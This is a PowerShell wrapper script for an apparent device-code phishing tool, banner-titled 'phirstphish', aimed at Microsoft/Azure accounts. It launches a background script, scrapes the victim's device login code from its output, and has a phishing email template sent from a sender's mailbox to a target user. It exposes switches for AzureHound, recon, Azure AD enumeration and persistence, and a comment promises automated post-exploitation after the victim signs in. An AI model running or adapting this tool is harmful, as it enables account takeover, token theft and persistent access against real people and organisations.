Wrapper.ps1

[CmdletBinding()]
param (
    [Parameter(ValueFromPipelineByPropertyName=$true)]
    [string]$targetUser,
    [Parameter(ValueFromPipelineByPropertyName=$true)]
    [string]$firstUser,
    [Parameter(ValueFromPipelineByPropertyName=$true)]
    [string]$messageContent,
    [Parameter(ValueFromPipelineByPropertyName=$true)]
    [string]$subject,
    [Parameter(ValueFromPipelineByPropertyName=$true)]
    [string]$Token,
    [Parameter(ValueFromPipelineByPropertyName=$true)]
    [string]$template,
    [Parameter(ValueFromPipelineByPropertyName=$true)]
    [string]$ReplyUrl,
    [Parameter(ValueFromPipelineByPropertyName=$true)]
    [string]$AppName,
    [Parameter(ValueFromPipelineByPropertyName=$true)]
    [string]$Scope,
    [Parameter()]
    [switch]$install,
    [Parameter(ValueFromPipelineByPropertyName=$true)]
    [switch]$azureHound = $false,
    [Parameter(ValueFromPipelineByPropertyName=$true)]
    [switch]$recon = $false,   
    [Parameter(ValueFromPipelineByPropertyName=$true)]
    [switch]$azureAd = $false,
    [Parameter(ValueFromPipelineByPropertyName=$true)]
    [switch]$persistence = $false,
    [Parameter(ValueFromPipelineByPropertyName=$true)]
    [switch]$GraphRecon = $false         
)

$banner = @"
 --------------------------------------------------------------------------------------------------------------------- 
 --------------------------------------------------------------------------------------------------------------------- 
 --------------------------------------------------------------------------------------------------------------------- 
 ---------------------------+####+=----------------------------------------------------------------------------------- 
 -------------------------+%%%%%%%%#=--------------------------------------------------------------------------------- 
 ------------------------+%%%+--=#%%#--------------------------------------------------------------------------------- 
 ------------------------*%%#----+%%#=-------------------------------------------------------------------------------- 
 ------------------------=#%%#+=*%%%*--------------------------------------------------------------------------------- 
 -------------------------=#%%%%%%#+---------------------------------------------------------------------------------- 
 ----------------------------#%%#=------------------------------------------------------------------------------------ 
 ----------------------------#%%#------------------------------------------------------------------------------------- 
 ----------------------------#%%#------------------------------------------------------------------------------------- 
 ----------------------------#%%#------------------------------------------------------------------------------------- 
 ----------------------------#%%#------------------------------------------------------------------------------------- 
 ----------------------------*%%#------------------------------------------------------------------------------------- 
 ----------------------------+%%#------------------------------------------------------------------------------------- 
 ----------------------------+%%%=-----------------------#------------------------------------------------------------ 
 ----------------------------=%%%+----------------------+%------------------------------------------------------------ 
 -----------------------------%%%*---------------------=#%------------------------------------------------------------ 
 -----------------------------#%%#---------------------#%%------------------------------------------------------------ 
 -----------------------------=%%#=------------------=#%%#------------------------------------------------------------ 
 ------------------------------%%%*-----------------=#%%%*------------------------------------------------------------ 
 ------------------------------+%%#=----+##+-------=*+#%%+------------------------------------------------------------ 
 -------------------------------#%%#--=#%%%%%%#=-----+%%%------------------------------------------------------------- 
 -------------------------------=%%%*=*%%%%%%%%%%#=-=*%%+------------------------------------------------------------- 
 --------------------------------+%%%*-+%%%%%%%%%%%%#+---------------------------------------------------------------- 
 ---------------------------------+%%%#=-+*#%%%%%%%%%%%%*------------------------------------------------------------- 
 ----------------------------------=%%%%%*=---%%%%%%%%%%%%%#=--------------------------------------------------------- 
 --------------------------------=%+-+%%%%%*--+%%%%%%%%%%%%%%%+------------------------------------------------------- 
 -------------------------------+%%%#+-=#%#---*%%%%%%%%%%%%%%%#------------------------------------------------------- 
 ------------------------------+%%%%%%%#=----#%%%%%%%%%%%%%%%#-------------------------------------------------------- 
 -----------------------------*%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%-+=------------------------------------------------------ 
 ----------------------------#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%=-*%#+--------------------------------------------------- 
 ---------------------------#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*--+#%+------#%%#=---------------------------------- 
 --------------------------#%%%%%%%%%%%%%%%%%%%%%%#%%%%%%%%%%%%%%%#=-+#%#+#%%%%%%%#=---------------------------------- 
 -------------------------#%%%%%%%%%%%%%%%%%%%%%%%+##%%%%%%%%%%%%%%%#=-=#%%%%%%%%%%%#+-------------------------------- 
 ------------------------#%%%%%%%%%%%%%%%%%%%%+%%%%%%%%%+%%%%%%%%%%%%%%%%%+--*%%%%%%%%%%%%*--------------------------- 
 ----------------------=#%%%%%%%%%%%%%%%%%%%%%#=-+%%%%%%%%%-=%%%%%%%%%%%%%%%%*--+%%%%%%%%%%%%#=----------------------- 
 ---------------------=#%%%%%%%%%%%%%%%%%%%%%%%%%#+++=#%*-*#%%%%%%%  %%%% %%%%%#=-+#%%%%%%%%%%%#=--------------------- 
 --------------------=#%%%%%%%%%%%%%#=-=#%%%%%%%%%%*-----------------------%%%%%#=-+#%%%%%%%%%%%#=--------------------
 -------------------=#%%%%%%%%%%%%%%%%%#+--*%%%%%%%*---------------------%%%%%#=-+#%%%%%%%%%%%%%%%%#=-----------------
 -------------------#%%%%%%%%%%%%%%%%%%%------------------------------------=------+#%%%%%%%%%%%%%%%%#----------------
 ------------------%%%%%%%%%%%%%%%%  _ -  | |__ (_)_ __ ___| |_ _  _ | |   (_)___| |__  %%%%%#=-+#%%%%%#--------------
 -----------------#%%%%%%%%%%%%%%%% | '_ \| '_ \| | '__/ __| __| '_ \| '_ \| / __| '_ \  %%%%%#=-+#%%%%#--------------
 ----------------%%%%%%%%%%%%%%%%%% | |_) | | | | | |  \__ \ |_| |_) | | | | \__ \ | | | %%%%%#=-+#%%%#---------------
 -----------------#%%%%%%%%%%%%%%%% | .__/|_| |_|_|_|  |___/\__| .__/|_| |_|_|___/_| |_| %%%%%#=-+#%%#----------------
 -------------------%%%%%%%%%%%%%%% |_|------------------------|_|----------------------%%%%%%*=-+%%#-----------------
 ---------------------=#%%%%%%%%%%%%%%%%%%%%%%#=-=----------------------------%%%%%#=-+#%%%%%%%%%%%#=-----------------
 ------------------------=#%%%%%%%%%%%%%%%%%%%%%%#=-----------------------%%%%%#=-+#%%%%%%%%%%%%%#=-------------------
 ---------------------------=*%%%%%%%%%%%%%%%%%%%%#=--+-*%%=--+%%%%%%#==-===%#-+%%%%%%%%%%%%%%%%#=--------------------
 -------------------------------+%%%%%%%%%%%%%%%%%%%%%*-#%=-%%##+#%%%%%%%#-+*-+%%%%%%%%%%%%%%%%%+---------------------
 ----------------------------------=#%%%%%%%%%%%%%%%%%%%%==##+=+=#%%%%%%%%%%+-=#%%%%%%%%%%%%%%%+----------------------
 -------------------------------------=#%%%%%%%%%%%%%%%%%%%#+*=-=#%%%%%%%%%%%%##%%%%%%%%%%%%%#+-----------------------
 ----------------------------------------=*%%%%%%%%%%%%%%%%%%%%*=%%%%%%%%%%%%%%%%%%%%%%%%%%%#=------------------------ 
 -------------------------------------------=+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#=------------------------- 
 -----------------------------------------------+#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%=-------------------------- 
 --------------------------------------------------=#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%=--------------------------- 
 -----------------------------------------------------=*%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#----------------------------- 
 --------------------------------------------------------=+%%%%%%%%%%%%%%%%%%%%%%%%%%%%#------------------------------ 
 ------------------------------------------------------------+#%%%%%%%%%%%%%%%%%%%%%%%#------------------------------- 
 ---------------------------------------------------------------+#%%%%%%%%%%%%%%%%%%%#-------------------------------- 
 ------------------------------------------------------------------=*%%%%%%%%%%%%%%%*--------------------------------- 
 ---------------------------------------------------------------------=+%%%%%%%%%%%*---------------------------------- 
 ------------------------------------------------------------------------=+#%%%%%%+----------------------------------- 
 ----------------------------------------------------------------------------=*#*=------------------------------------ 
 --------------------------------------------------------------------------------------------------------------------- 
 --------------------------------------------------------------------------------------------------------------------- 
 --------------------------------------------------------------------------------------------------------------------- 
 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 
 %%%%%%%%%%%%%%%###%%############%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 
 %%%%%%%%%%%%%############%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%##############################%%% 
 %%%%#####################%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%############################%%%% 
 %%%%%%%%%%%%%%%%%%###############%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 
"@
Write-Host $banner

# Clean up previous runs tokens and output files
.\Clean.ps1

# Install and Import
if($install){
    Write-Output "Installing modules"
    .\Scripts\Install.ps1
}
Write-Output "Importing modules"
.\Scripts\Import.ps1

# Initialize an empty argument list
$argumentList = @()

# Add flags to the argument list based on conditionals
if ($azureHound) {
    $argumentList += "-azurehound"
}

if ($recon) {
    $argumentList += "-recon"
}

if ($azureAd) {
    $argumentList += "-azuread"
}

if ($persistence) {
    $argumentList += "-persistence"
}

if ($GraphRecon) {
    $argumentList += "-GraphRecon"
}

if ($AppName) {
    $argumentList += "-AppName `"$AppName`""
}

if ($ReplyUrl) {
    $argumentList += "-ReplyUrl `"$ReplyUrl`""
}

if ($Scope) {
    $argumentList += "-Scope `"$Scope`""
}

# Correct the parameter passing for string parameters
if ($targetUser) {
    $argumentList += "-targetUser `"$targetUser`""
}

if ($subject) {
    $argumentList += "-subject `"$subject`""
}

if ($messageContent) {
    $argumentList += "-messageContent `"$messageContent`""
}

# Start the PowerShell script with the constructed argument list
#Start-Process -FilePath "powershell.exe" -ArgumentList "-File .\Phirst.ps1 $($argumentList -join ' ')" -RedirectStandardOutput "output.txt"
Start-Process -FilePath "powershell.exe" -ArgumentList "-File .\Phirst.ps1 $($argumentList -join ' ')" -RedirectStandardOutput "output.txt"


Start-Sleep -Seconds 1

# Continuously check the output file for the user code
$userCode = $null
while ($null -eq $userCode -and -not $process.HasExited) {
    $output = Get-Content "output.txt" -Tail 10 # Read the last 10 lines of the output
    foreach ($line in $output) {
        if ($line -match "user_code\s*:\s*(\S+)") {
            $userCode = $matches[1]
            break
        }
    }
    Start-Sleep -Seconds 2
}

Write-Output "$userCode" | Out-File .\user_code.txt
# Output the user code
Write-Host "User Code: $userCode"

# Replace Values in Template

Write-Output "Sign in with your sender's account here. Template will be sent from this mailbox."
.\Next.ps1 -firstUser $firstUser -userCode $userCode -template $template


# TODO: User needs the feedback that target entered the code, recon ran, etc. As of now we're just finishing while the background continue.
# Write-Output "Background process is polling endpoint for the authentication. If the user authenticates, automated post-exploitation will be performed inside that process."
# # Write-Output "Script will continue when process exits."

# $filePath = '.\target.txt'
# # Poll for the existence of the file
# while (-not (Test-Path -Path $filePath)) {
#     Write-Output "Checking for target file."
#     Start-Sleep -Seconds 2 # Wait for 5 seconds before checking again
# }

# Read-Host "Clean up and clear output?"
# # $processes = Get-Process powershell | Sort-Object StartTime -Descending | Select-Object -First 1 | ForEach-Object { $_.Kill() }
# if(test-path .\output.txt) { Remove-Item -force .\output.txt }
# if(test-path .\user_code.txt) { Remove-Item -force .\user_code.txt }
# if(test-path .\TokenLog.log) { Remove-Item -force .\TokenLog.log }
# if(test-path *.json) { Remove-Item -force *.json }

# $targetUser = ""
# $firstUser = ""
# $messageContent = "test"
# $subject = "Hey there"
# $template = "chatgpt"
# .\wrapper.ps1 -targetUser $targetUser -firstUser $firstUser -messageContent $messageContent -subject $subject -template $template